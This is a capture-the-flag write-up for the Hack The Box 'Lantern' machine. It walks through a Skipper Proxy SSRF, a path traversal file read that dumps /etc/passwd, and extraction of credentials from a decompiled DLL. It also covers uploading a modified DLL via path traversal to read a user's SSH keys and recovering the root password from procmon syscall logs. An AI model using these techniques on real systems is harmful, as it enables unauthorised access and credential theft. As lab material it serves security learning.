Recon
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings:
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Wed, 21 Aug 2024 10:43:26 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, GET, HEAD
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Wed, 21 Aug 2024 10:43:26 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Wed, 21 Aug 2024 10:43:31 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|_ Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
The customary nmap
scan finds two listening webservers, the one on port 80
is running the Skipper Proxy software and the other one at port 3000
seem to be running ASP.NET Core potentially Blazor WebAssembly. So knowledge from the Blazorized machine might come in handy. Among all those things I also find a domain lantern.htb
which I add to my /etc/hosts
file.
Foothold as toms
The website on port 80 consists mostly of dead links, but still contains some detailed information about the techstack of the company.
Looking at the vacancies I can see that among other technologies the company also uses the already identified ASP.NET Core. I don’t see a mention of Blazor so this is still a guess at the moment.
CVE-2022-38580
Since I am not dealing with the usual suspects when it comes to webserver technology (nginx and/or apache), I start looking for potential vulnerabilities in the software. The very first Google search about Skipper Proxy and exploits leads me a promising SSRF vulnerabilty.
CVE-2022-38580
Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request. https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2
Given that the vulnerability is very straightforward I start right away with a port scan of the internal network through fuff
. I set the target URL to lantern.htb
and supply the necessary X-Skipper-Proxy
along with a fitting 4-digit wordlist.
$ ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://localhost:FUZZ" -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lantern.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
:: Header : X-Skipper-Proxy: http://localhost:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
0022 [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 595ms]
0080 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 119ms]
3000 [Status: 200, Size: 2877, Words: 334, Lines: 58, Duration: 44ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 363ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 26ms]
This scan comes back to me with the also external facing ports 22,80,3000
. But thankfully this is not everything I also find port 8000
listening locally, which looks to be the very same website that is also available on port 80
.
In a similar fashion port 5000
seems to be another ASP.NET Core, Blazor website, different from the one exposed on port 3000
. Looking at the HTML also confirms that I am dealing with a Blazor application.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<base href="/" />
<link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
<link href="css/site.css" rel="stylesheet" />
<link href="PreProd.styles.css" rel="stylesheet" />
<link href="https://fonts.gstatic.com" rel="preconnect">
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Nunito:300,300i,400,400i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
<!-- Vendor CSS Files -->
<link href="css/bootstrap-icons.css" rel="stylesheet">
<!-- Template Main CSS File -->
<link href="css/style.css" rel="stylesheet">
<!--Blazor:{"sequence":1,"type":"server","prerenderId":"e15ba4d3f83a47e3b36be5826689890d","descriptor":"CfDJ8BUo1ePf0MxMocV2v0oTDZEn8Nqukbq5Y6lZzbX0MWn997yKPaBLQvpYlIjXGrHcYXoggtInzflcnUKIj\u002Bcv0CxYA4JsoVmCM5TozmMq8e0X9Ck4iPOvn41G3tza8SB/IoWq7rzwCUXkf062iqIhmRSSf4/qivf\u002BXqNBTnHtHbIcnd1bVv7QRHPfGOwWl486i8idELOC5GOX4bqAzM3e8nQTb3NgumOJ3KCRCuwgAdndz6Qb9q/zsox3SVc/iqSzrmW62lAWIWqNCEMgH7nH3rfPTRpWreCwOPXQde\u002BDws2UYwGFbY79qb\u002BpHjgxZpvV5b6r4LaUfcknGgeH\u002BPzfEClW/pkjMZLXscpzMkqnwZXjs17Z5ms1\u002BCWUTjzBT0FbRovcYC9ZgK/6boApU/Q7c20QufbPRddTiiFXBhYEpPtY"}--><!--Blazor:{"prerenderId":"e15ba4d3f83a47e3b36be5826689890d"}-->
</head>
<body>
...[snip]...
InternaLantern.dll
While I have now access to two different Blazor application only one them is exposing the loaded DLLs on the webserver. The list of these DLLS can be found in the http://{URL}/_framework/blazor.boot.json
file, which I can only access on the internal Blazor app.
$ curl -i -s -k -X $'GET' -H $'Host: lantern.htb' -H $'X-Skipper-Proxy: http://localhost:5000' $'http://lantern.htb/_framework/blazor.boot.json'
{
"cacheBootResources": true,
"config": [ ],
"debugBuild": true,
"entryAssembly": "InternaLantern",
"icuDataMode": 0,
"linkerEnabled": false,
"resources": {
"assembly": {
"Microsoft.AspNetCore.Authorization.dll": "sha256-hGbT4jDhpi63093bjGt+4XVJ3Z9t1FVbmgNmYYmpiNY=",
"Microsoft.AspNetCore.Components.dll": "sha256-NJ2GmZOAzlolS7ZPvt5guh86ICBupqwCNK0ygg7fkhE=",
"Microsoft.AspNetCore.Components.Forms.dll": "sha256-YEcUfJbV\/+SrxppUEKn5jqOg8WptBrdAGaDG+psN8Yg=",
"Microsoft.AspNetCore.Components.Web.dll": "sha256-aq+IFhf0HZZKVz6P\/GhuaY0UvXsguM0h5hlYrzAfugk=",
"...SNIP...":"...SNIP...",
"System.dll": "sha256-YKqpzE+7ICNb3IBWe6kXM+dCR18TTaRnThuOy6NLcG4=",
"WindowsBase.dll": "sha256-k04wZob3UNWysInC\/KRbcfiSMMSXDv56yL6raT6AnZk=",
"mscorlib.dll": "sha256-veli+XvWHzkA3s4t4DKI+XiyNMpfHQjiO002+ExANkU=",
"netstandard.dll": "sha256-O9JhHo5KqxkmwmapuxuhG\/iMRV7RHcrCDO9z+yv+8yI=",
"System.Private.CoreLib.dll": "sha256-6rKu8tPdUGsvbSpesoNMVzbx7bNqPRMPV34eI7vSYaQ=",
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
},
"extensions": null,
"lazyAssembly": null,
"libraryInitializers": null,
"pdb": {
"InternaLantern.pdb": "sha256-E8WICkNg65vorw8OEDOe6K9nJxL0QSt1S4SZoX5rTOY="
},
"runtime": {
"dotnet.timezones.blat": "sha256-KsGUR9nqtXb3Hy6IrNlnc1HoSS+AFlsXTX9rq4oChtA=",
"icudt.dat": "sha256-Zuq0dWAsBm6\/2lSOsz7+H9PvFaRn61KIXHMMwXDfvyE=",
"icudt_CJK.dat": "sha256-WPyI4hWDPnOw62Nr27FkzGjdbucZnQD+Ph+GOPhAedw=",
"icudt_EFIGS.dat": "sha256-4RwaPx87Z4dvn77ie\/ro3\/QzyS+\/gGmO3Y\/0CSAXw4k=",
"icudt_no_CJK.dat": "sha256-OxylFgLJlFqixsj+nLxYVsv5iZLvfIKMpLf9hrWaChA=",
"dotnet.wasm": "sha256-JlqjjT2GZWeJko9+pitVfjjmJeEbi4AibzTQr5zTISo=",
"dotnet..lzvsyl6wav.js": "sha256-6AcYHsbEEdBjeNDUUvrQZuRqASd62mZgQgxz4uzTVGU="
},
"satelliteResources": null
}
}
For readability purposes I did not include the entire list of DLLs (since most of them are standard ASP.NET / System DLLs). The one of great importance to me is the custom developed DLL named InternaLantern.dll
.
Just like in Blazorized I proceed to download the DLL to decompile and further analyse it. This time around I will actually be staying on my Linux machine, because I installed ilspy
on it. So no need to swap to Windows for DNSpy
.
$ curl -s -X $'GET' \
-H $'Host: lantern.htb' -H $'X-Skipper-Proxy: http://localhost:5000' \
$'http://lantern.htb/_framework/InternaLantern.dll' --output InternaLantern.dll
$ file InternaLantern.dll
InternaLantern.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
$ ilspycmd InternaLantern.dll -o InternaLantern.decompiled
Within the InternaLantern.Pages
namespace I find a function OnInitializedAsync
which contains several Employee
classes (starting around line 213). Each of them has some internal information associated with them. Given the small number of employees I chose the manually base64 decode the information.
...SNIP...
new Employee
{
Uid = "POMBS",
Name = "Travis",
SecondName = "Duarte",
BirthDay = new DateTime(1999, 7, 23).ToShortDateString(),
JoinDate = new DateTime(2024, 1, 21).ToShortDateString(),
Salary = 90000,
InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="))
}
...SNIP...
After decoding the information for Travis Duarte
I get a potential username and password for the LanternAdmin page on port port 3000
.
$ echo -n "U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=" | base64 -d
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
LanternAdmin
Now after acquiring a username and password from the InternaLantern.dll
I can finally login into the admin page. At first I see what seems like the access.log
for the webserver.
When I want to go and select another module the website prefills the potential modules I can choose from. These are the very same ones as listed in the lefthand menu.
If I enter a nonexistent module I get the following error message, which shows the local path the where the DLLs are stored on the server.
LFI
By going through the modules I also come across the source code of the main page at http://lantern.htb
. There I find a previously unknown route at /PrivacyAndPolicy
, which comes along with a handy LFI vulnerability.
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
As you can see the values from the lang
and ext
URL parameters are passed directly into the send_file
function, without any sanitization. The only minor hurdle is the fact that a single dot separates the language from the extension, so this one has the accounted for when abusing the LFI. I also do no have to guess the depth of the directories since they are in plain sight.
So this I confirm the LFI by reading the usual /etc/passwd
file on the server. This also tells me about the other user named tomas
, which exists on the server.
$ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../&ext=./etc/passwd' | tail
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
So with that I can know take an in depth look at each module, by using the LFI download the DLLs. I know their respective paths from the error message of a non existent module (as shown in the previous section).
FileTreeExploit
Setup
Next up I download both the FileTree
and the FileUpload
DLLs. The former to decompile and modify to achieve arbitrary file read on the system. Where as the latter is analysed to confirm the hunch of a path traversal vulnerability to place my own DLLs on the server.
$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../&ext=./opt/components/FileTree.dll' --output FileTree.dll
$ ilspycmd FileTree.dll -o FileTree.decompiled
$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../&ext=./opt/components/FileUpload.dll' --output FileUpload.dll
$ ilspycmd FileUpload.dll -o FileUpload.decompiled
As you can see in the decompiled C# source code the DLLs were created for .NET Core 6.0. So this is also the version that I will be installing on my system to compile my own DLLs.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using System.Text;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using Microsoft.AspNetCore.Components.Web;
using Microsoft.CodeAnalysis;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
[assembly: TargetFramework(".NETCoreApp,Version=v6.0", FrameworkDisplayName = ".NET 6.0")]
[assembly: AssemblyCompany("FileTree")]
...SNIP...
The installation process is neatly documented my Microsoft themselves on this page. I replaced the prefilled version number with 6.0, since that the version I need. Once this done I create a new project. When you try to recompile the code of a module right now you will run into missing dependencies, so I also had to install Microsoft.AspNetCore.Components
and Microsoft.AspNetCore.Components.Web
.
$ wget https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
$ sudo dpkg -i packages-microsoft-prod.deb
$ sudo apt-get update && sudo apt-get install -y dotnet-sdk-6.0
$ dotnet new classlib -n FileTreeExploit
$ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
$ dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
$ dotnet build -c Release
But now even after finally compiling the code (and uploading it but I will get to this shortly) I still ran into errors regarding the chosen CPU architecture. So in my .csproj
file I set the platform to AnyCPU
.
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<Platforms>AnyCPU;x64;x86</Platforms>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.AspNetCore.Components" Version="6.0.0" />
<PackageReference Include="Microsoft.AspNetCore.Components.Web" Version="6.0.0" />
</ItemGroup>
</Project>
Modification
Since the FileTree
module allows me to read files on the system I wanted to modify which files I are shown to me. I thought that this meant only minimal changes/testing were necessary to gain arbitrary file read, which could be incrementally expanded upon.
As you can see in the original code snippet below the to be displayed directories are simply hardcoded into the DLL and can easily be swapped with anotherone.
protected override void OnInitialized()
{
string[] files = Directory.GetFiles("/var/www/sites/lantern.htb");
string[] array = files;
foreach (string item in array)
{
FileTreeRoot.Add(item);
}
string[] files2 = Directory.GetFiles("/var/www/sites/lantern.htb/static");
string[] array2 = files2;
foreach (string item2 in array2)
{
FileTreeStatic.Add(item2);
}
So instead of creating a fullblown webshell DLL I start with taking a look at the $HOME
directory of the user tomas
. Of course at this point I did not know if this would be successful. If this had failed I would have just listed more directories or implement a proper webshell.
protected override void OnInitialized()
{
string[] files = Directory.GetFiles("/home/tomas");
string[] array = files;
foreach (string item in array)
{
FileTreeRoot.Add(item);
}
string[] files2 = Directory.GetFiles("/home/tomas/.ssh");
string[] array2 = files2;
foreach (string item2 in array2)
{
FileTreeStatic.Add(item2);
}
After uploading the DLL to the DLL onto the server and calling it I can look around the $HOME
directory, read the user flag and the private SSH key of tomas
.
FileUpload
So how did I upload my DLL? Even without decompiling the DLL, solely based on the displayed information, I could already assume that I might be able to traverse upwards in the upload directory, or even supply a target path itself.
After downloading and decompiling the DLL I took a closer look at the upload process. There I did not find any sanitization functions, that would remove things like ../
.
private async Task LoadFiles(InputFileChangeEventArgs e)
{
isLoading = true;
loadedFiles.Clear();
foreach (IBrowserFile file in e.GetMultipleFiles(maxAllowedFiles))
{
try
{
loadedFiles.Add(file);
string FileName = file.Name.Replace("\\", "");
string path = Path.Combine("/var/www/sites/lantern.htb/static/images", FileName);
if (!isFileExist(FileName))
{
await using FileStream fs = new FileStream(path, FileMode.Create);
await file.OpenReadStream(maxFileSize).CopyToAsync(fs);
UIMessage = "Success!";
UIMessageType = "alert-success";
}
else
{
UIMessage = "An error occured: File already exist";
UIMessageType = "alert-danger";
}
}
catch (Exception ex)
{
UIMessage = "An error occured: " + ex.Message;
UIMessageType = "alert-danger";
}
ShowError();
}
isLoading = false;
}
Since I am dealing with a Blazor application and I want to effectively intercept and manipulate traffic with Burp I install the Blazor Traffic Processor (BTP) Extension from the BApp Store. The allows me deserialize the intercepted Blazor traffic, modify it and than correctly serialize it again.
To upload my DLL I intercept the request in Burp and send the request body to BTP. There I deserialize the Blazor into legible JSON. Where I change the name
from the original one to my path traversal ../../../../../../opt/components/FileTreeExploit.dll
.
Than I copy the JSON from the right output to the left input field and select the option to serialize fro JSOn to Blazor. The result of which I replace the original request body with.
If you did this reasonably fast (otherwise you might experience some connectivity issues with the website) you will see that your DLL was uploaded successfully. From there I can call it just als shown in the previous section.
Shell as root
With the private SSH key I can connect to the machine and my very first enumeration command sudo -l
already turns a potential privilege escalation vector. tomas
is allowed to run run procmon as root on the system. Procmon is a part of the Sysinternal tools suite, which is mainly for windows, but more and more tools are ported to Linux as well. With Procmon for Linux I can capture syscalls I process makes, as long as I have the needed permissions to do so. Under Windows you would be able to capture, file activity, registry modification, access to other processes, the loading of DLLs and much more.
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
While it nice that I can run Procmon I also need an interesting target process to capture the syscalls of. Looking at the running process I can see that some automation using expect is running as the root user. This scripted automation than is editing? the file /root/automation.sh
using nano.
tomas@lantern:~$ ps auxef | grep root
...SNIP...
root 1250 0.0 0.1 17496 5136 ? Ssl 19:20 0:00 /usr/bin/expect -f /root/bot.exp
root 1255 0.0 0.1 7404 4044 pts/0 Ss+ 19:20 0:00 \_ nano /root/automation.sh
Either by running LinPEASS or attentively reading the message of the day I am also informed about mail for tomas
. The content of which also talking about the identified /root/automation.sh
file.
tomas@lantern:~$ cat /var/mail/tomas
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!
Hi Tomas,
Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.
While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.
Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.
Exciting times ahead!
Best.
From there I run Procmon using sudo
and point it to the PID of the nano /root/automation.sh
process. After a little jumpscare from an error message Procmon will do its job.
$ sudo /usr/bin/procmon -p 1255
It seems that the automation is typing rather slowly so I step away for a bit and export the capture once a sizeable amount of events were captured. Before exiting with CTRL+C
I press F6
to export the logfile.
Procmon Analysis
The logged activity is stored in a SQLite database, which I transfer over to my attacker machine for further analysis. Beforehand I consulted Perplexity about what syscall could be relevant to me and it pointed out write
syscalls to me. These would happen whenever a key is pressed and a character is supposed to be written to the open file. Sadly I pointed me to a wrong source, but this seemed plausible enough to roll with it.
Looking at the man page for write it tells me about the importance of the value of resultcode
. If the syscall wa successful the value will be greater than 0 and will represent the number of bytes written.
From there I formulate the following SQL query to only return successful write
syscalls.
SELECT arguments FROM ebpf
WHERE resultcode > 0
AND syscall LIKE 'write'
ORDER BY timestamp
Scrolling through the returned blobs from the arguments
column, I notice that the 9th character of each argument seem to spell out a random string followed by the letters for the word sudo
. In the hexdump below the interesting letters are the space and the uppercase Q.
00000000 01 00 00 00 00 00 00 00 20 51 3f 32 35 68 1b 28 |........ Q?25h.(|
00000010 42 65 63 68 6f 34 43 28 42 20 52 65 00 02 00 00 |Becho4C(B Re....|
00000020 00 00 00 00 00 40 5a e0 2e 88 55 00 00 00 00 00 |.....@Zà..U.....|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Since I know that the bytes written are represented by the resultcode
I expand my query a bit to only return a substring from arguments
. This substring will start at the 9th character and has a length of resultcode
and has a lenth of one. The intention here was to see only the single typed letters from the automation script. To make the output a bit more legible I also concatenate all the values to one large string.
SELECT GROUP_CONCAT(letter, '')
FROM (
SELECT SUBSTR(arguments, 9, resultcode) AS letter
FROM ebpf
WHERE resultcode > 0
AND syscall LIKE 'write'
AND LENGTH(letter) = 1
ORDER BY timestamp
);
The result of this query looks promising but it looks like some letters are missing. For exmaple the letter s
of sudo is missing and also the letter Q
that you saw in the hexdump above.
3Eddtdw3pMBudo/backup.shech
So I add a bit more “tolerance” to my query my to include substrings with a length smaller than three. Wen running this query in the CLI of SQLite it stops as shown below, but it in reality the found string loops few more times. You can see this when running the same query in something like DB Browser for SQLite.
SELECT GROUP_CONCAT(letter, '')
FROM (
SELECT SUBSTR(arguments, 9, resultcode) AS letter
FROM ebpf
WHERE resultcode > 0
AND syscall LIKE 'write'
AND LENGTH(letter) < 3
ORDER BY timestamp
);
Now the typed characters look a lot more complete and the “random” strings looks to be the password of the root user.
Q3Eddtdw3pMB | sudo ./backup.shech
Since I already have a shell on the system I can use su
with the recovered password to switch to a root user shell.
tomas@lantern:~$ su root
Password:
root@lantern:/home/tomas# id
uid=0(root) gid=0(root) groups=0(root)